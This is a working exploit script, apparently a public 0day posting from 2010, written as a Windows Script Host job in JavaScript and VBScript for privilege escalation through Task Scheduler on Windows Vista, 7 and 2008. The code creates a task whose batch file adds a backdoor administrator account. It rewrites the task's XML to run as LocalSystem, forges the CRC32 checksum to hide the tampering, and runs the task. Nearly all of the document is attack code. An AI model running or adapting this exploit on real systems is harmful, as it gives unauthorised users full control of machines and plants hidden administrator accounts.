297 lines
No EOL
9.1 KiB
XML
297 lines
No EOL
9.1 KiB
XML
# Exploit Title: Windows Task Scheduler Privilege Escalation 0day
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# Date: 20-11-2010
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# Author: webDEViL
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# Tested on: Windows 7/2008 x86/x64
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<job id="tasksch-wD-0day">
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<script language="Javascript">
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crc_table = new Array(
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0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419,
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0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4,
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0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07,
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0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
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0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856,
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0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
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0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4,
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0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
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0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3,
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0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A,
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0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599,
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0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
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0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190,
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0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F,
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0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E,
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0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
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0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED,
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0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
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0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3,
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0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
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0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A,
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0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5,
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0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010,
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0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
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0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17,
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0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6,
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0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615,
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0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
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0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344,
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0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
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0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A,
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0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
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0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1,
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0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C,
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0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF,
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0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
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0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE,
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0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31,
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0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C,
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0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
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0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B,
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0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
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0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1,
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0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
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0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278,
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0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7,
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0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66,
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0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
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0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605,
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0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8,
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0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B,
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0x2D02EF8D
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);
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var hD='0123456789ABCDEF';
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function dec2hex(d) {
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h='';
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for (i=0;i<8;i++) {
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h = hD.charAt(d&15)+h;
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d >>>= 4;
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}
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return h;
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}
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function encodeToHex(str){
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var r="";
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var e=str.length;
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var c=0;
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var h;
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while(c<e){
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h=str.charCodeAt(c++).toString(16);
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while(h.length<3) h="0"+h;
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r+=h;
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}
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return r;
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}
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function decodeFromHex(str){
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var r="";
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var e=str.length;
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var s=0;
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while(e>1){
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r=r+String.fromCharCode("0x"+str.substring(s,s+2));
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s=s+2;
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e=e-2;
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}
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return r;
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}
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function calc_crc(anyForm) {
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anyTextString=decodeFromHex(anyForm);
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Crc_value = 0xFFFFFFFF;
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StringLength=anyTextString.length;
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for (i=0; i<StringLength; i++) {
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tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
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Table_value = crc_table[tableIndex];
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Crc_value >>>= 8;
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Crc_value ^= Table_value;
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}
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Crc_value ^= 0xFFFFFFFF;
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return dec2hex(Crc_value);
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}
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function rev_crc(leadString,endString,crc32) {
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//
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// First, we calculate the CRC-32 for the initial string
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//
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anyTextString=decodeFromHex(leadString);
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Crc_value = 0xFFFFFFFF;
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StringLength=anyTextString.length;
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//document.write(alert(StringLength));
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for (var i=0; i<StringLength; i++) {
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tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
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Table_value = crc_table[tableIndex];
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Crc_value >>>= 8;
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Crc_value ^= Table_value;
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}
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//
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// Second, we calculate the CRC-32 without the final string
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//
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crc=parseInt(crc32,16);
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crc ^= 0xFFFFFFFF;
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anyTextString=decodeFromHex(endString);
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StringLength=anyTextString.length;
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for (var i=0; i<StringLength; i++) {
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tableIndex=0;
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Table_value = crc_table[tableIndex];
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while (((Table_value ^ crc) >>> 24) & 0xFF) {
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tableIndex++;
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Table_value = crc_table[tableIndex];
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}
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crc ^= Table_value;
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crc <<= 8;
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crc |= tableIndex ^ anyTextString.charCodeAt(StringLength - i -1);
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}
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//
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// Now let's find the 4-byte string
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//
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for (var i=0; i<4; i++) {
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tableIndex=0;
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Table_value = crc_table[tableIndex];
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while (((Table_value ^ crc) >>> 24) & 0xFF) {
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tableIndex++;
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Table_value = crc_table[tableIndex];
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}
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crc ^= Table_value;
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crc <<= 8;
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crc |= tableIndex;
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}
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crc ^= Crc_value;
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//
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// Finally, display the results
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//
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var TextString=dec2hex(crc);
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var Teststring='';
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Teststring=TextString.substring(6,8);
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Teststring+=TextString.substring(4,6);
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Teststring+=TextString.substring(2,4);
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Teststring+=TextString.substring(0,2);
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return Teststring
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}
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function decodeFromHex(str){
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var r="";
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var e=str.length;
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var s=0;
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while(e>1){
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r=r+String.fromCharCode("0x"+str.substring(s,s+2));
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s=s+2;
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e=e-2;
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}
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return r;
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}
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</script>
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<script language="VBScript">
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dim output
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set output = wscript.stdout
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output.writeline " Task Scheduler 0 day - Privilege Escalation "
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output.writeline " Should work on Vista/Win7/2008 x86/x64"
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output.writeline " webDEViL - w3bd3vil [at] gmail [dot] com" & vbCr & vbLf
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biatchFile = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)+"\xpl.bat"
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Set objShell = CreateObject("WScript.Shell")
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objShell.Run "schtasks /create /TN wDw00t /sc monthly /tr """+biatchFile+"""",,True
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Set fso = CreateObject("Scripting.FileSystemObject")
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Set a = fso.CreateTextFile(biatchFile, True)
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a.WriteLine ("net user /add test123 test123")
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a.WriteLine ("net localgroup administrators /add test123")
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a.WriteLine ("schtasks /delete /f /TN wDw00t")
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Function ReadByteArray(strFileName)
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Const adTypeBinary = 1
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Dim bin
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Set bin = CreateObject("ADODB.Stream")
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bin.Type = adTypeBinary
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bin.Open
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bin.LoadFromFile strFileName
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ReadByteArray = bin.Read
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'output.writeline ReadByteArray
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End Function
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Function OctetToHexStr (arrbytOctet)
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Dim k
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OctetToHexStr = ""
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For k = 3 To Lenb (arrbytOctet)
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OctetToHexStr = OctetToHexStr _
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& Right("0" & Hex(Ascb(Midb(arrbytOctet, k, 1))), 2)
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Next
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End Function
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strFileName="C:\windows\system32\tasks\wDw00t"
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hexXML = OctetToHexStr (ReadByteArray(strFileName))
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'output.writeline hexXML
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crc32 = calc_crc(hexXML)
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output.writeline "Crc32 Original: "+crc32
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Set xmlDoc = CreateObject("Microsoft.XMLDOM")
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'permissions workaround
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'objShell.Run "cmd /c copy C:\windows\system32\tasks\wDw00t .",,True
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'objShell.Run "cmd /c schtasks /query /XML /TN wDw00t > wDw00t.xml",,True
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Set objShell = WScript.CreateObject("WScript.Shell")
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Set objExecObject = objShell.Exec("cmd /c schtasks /query /XML /TN wDw00t")
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Do Until objExecObject.StdOut.AtEndOfStream
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strLine = strLine & objExecObject.StdOut.ReadLine()
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Loop
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hexXML = "FFFE3C00"+OctetToHexStr(strLine)
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'output.writeline hexXML
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Set ts = fso.createtextfile ("wDw00t.xml")
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For n = 1 To (Len (hexXML) - 1) step 2
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ts.write Chr ("&h" & Mid (hexXML, n, 2))
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Next
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ts.close
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xmlDoc.load "wDw00t.xml"
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Set Author = xmlDoc.selectsinglenode ("//Task/RegistrationInfo/Author")
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Author.text = "LocalSystem"
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Set UserId = xmlDoc.selectsinglenode ("//Task/Principals/Principal/UserId")
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UserId.text = "S-1-5-18"
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xmldoc.save(strFileName)
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hexXML = OctetToHexStr (ReadByteArray(strFileName))
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leadString=hexXML+"3C0021002D002D00"
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endString="2D002D003E00"
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'output.writeline leadString
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impbytes=rev_crc(leadString,endString,crc32)
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output.writeline "Crc32 Magic Bytes: "+impbytes
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finalString = leadString+impbytes+endString
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forge = calc_crc(finalString)
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output.writeline "Crc32 Forged: "+forge
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strHexString="FFFE"+finalString
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Set fso = CreateObject ("scripting.filesystemobject")
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Set stream = CreateObject ("adodb.stream")
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Set ts = fso.createtextfile (strFileName)
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For n = 1 To (Len (strHexString) - 1) step 2
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ts.write Chr ("&h" & Mid (strHexString, n, 2))
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Next
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ts.close
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Set objShell = CreateObject("WScript.Shell")
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objShell.Run "schtasks /change /TN wDw00t /disable",,True
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objShell.Run "schtasks /change /TN wDw00t /enable",,True
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objShell.Run "schtasks /run /TN wDw00t",,True
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</script>
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</job> |